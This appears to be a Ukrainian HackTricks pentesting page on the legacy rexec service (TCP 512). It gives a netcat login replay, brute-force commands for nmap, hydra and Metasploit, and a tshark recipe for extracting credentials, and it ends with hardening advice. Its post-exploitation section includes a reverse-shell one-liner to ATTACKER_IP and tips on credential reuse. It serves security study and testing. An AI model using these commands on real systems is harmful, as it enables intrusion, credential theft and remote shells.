512 - Pentesting Rexec

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

Rexec (віддалений exec) є одним з оригінальних сервісів Berkeley r-сервісів (разом з rlogin, rsh, …). Він надає можливість віддаленого виконання команд, автентифіковану лише за допомогою відкритого імені користувача та пароля. Протокол був визначений на початку 1980-х років (див. RFC 1060) і в даний час вважається незахищеним за дизайном. Тим не менш, він все ще увімкнений за замовчуванням у деякому застарілому UNIX / мережевому обладнанні і іноді з'являється під час внутрішніх pentest.

Порт за замовчуванням: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Увесь трафік – включаючи облікові дані – передається некодованим. Будь-хто, хто має можливість перехопити мережу, може відновити ім'я користувача, пароль та команду.

Швидкий огляд протоколу

  1. Клієнт підключається до TCP 512.
  2. Клієнт надсилає три NUL-терміновані рядки:
  • номер порту (в ASCII), на якому він бажає отримувати stdout/stderr (часто 0),
  • ім'я користувача,
  • пароль.
  1. Надсилається фінальний NUL-термінований рядок з командою для виконання.
  2. Сервер відповідає єдиним 8-бітним байтом статусу (0 = успіх, 1 = невдача), за яким слідує вихід команди.

Це означає, що ви можете відтворити обмін, використовуючи лише echo -e та nc:

bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Якщо облікові дані дійсні, ви отримаєте вихід id безпосередньо на тому ж з'єднанні.

Ручне використання з клієнтом

Багато дистрибутивів Linux все ще постачають застарілий клієнт у пакеті inetutils-rexec / rsh-client:

bash
rexec -l user -p password <target> "uname -a"

Якщо -p пропущено, клієнт запитає пароль інтерактивно (видимий в мережі у відкритому тексті!).


Перерахунок та Брутфорс

Брутфорс

Nmap

bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

rexec-brute NSE використовує протокол, описаний вище, щоб дуже швидко спробувати облікові дані.

Hydra / Medusa / Ncrack

bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra має спеціалізований rexec модуль і залишається найшвидшим офлайн брутфорсером. medusa (-M REXEC) та ncrack (rexec модуль) можуть використовуватися так само.

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Модуль створить оболонку при успіху та зберігатиме облікові дані в базі даних.


Перехоплення облікових даних

Оскільки все передається у відкритому вигляді, перехоплення мережі безцінне. З копією трафіку ви можете витягти облікові дані, не торкаючись цілі:

bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark увімкніть Decode As …​ TCP 512 → REXEC, щоб переглянути красиво розпарсені поля.)


Поради після експлуатації

  • Команди виконуються з привілеями наданого користувача. Якщо /etc/pam.d/rexec неправильно налаштований (наприклад, pam_rootok), іноді можливі root shell.
  • Rexec ігнорує оболонку користувача і виконує команду через /bin/sh -c <cmd>. Тому ви можете використовувати типові трюки з оболонкою (;, $( ), зворотні лапки) для з'єднання кількох команд або створення зворотних shell:
bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Паролі часто зберігаються в ~/.netrc на інших системах; якщо ви зламаєте один хост, ви можете повторно використовувати їх для бічного переміщення.

Укріплення / Виявлення

  • Не піддавайте rexec; замініть його на SSH. Практично всі сучасні inetd супервізори за замовчуванням коментують цю службу.
  • Якщо ви повинні його зберегти, обмежте доступ за допомогою TCP обгорток (/etc/hosts.allow) або правил брандмауера та забезпечте надійні паролі для кожного облікового запису.
  • Моніторте трафік на :512 та запуски процесу rexecd. Один захоплений пакет достатній для виявлення компрометації.
  • Вимкніть rexec, rlogin, rsh разом – вони ділять більшість одного й того ж коду та вразливостей.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks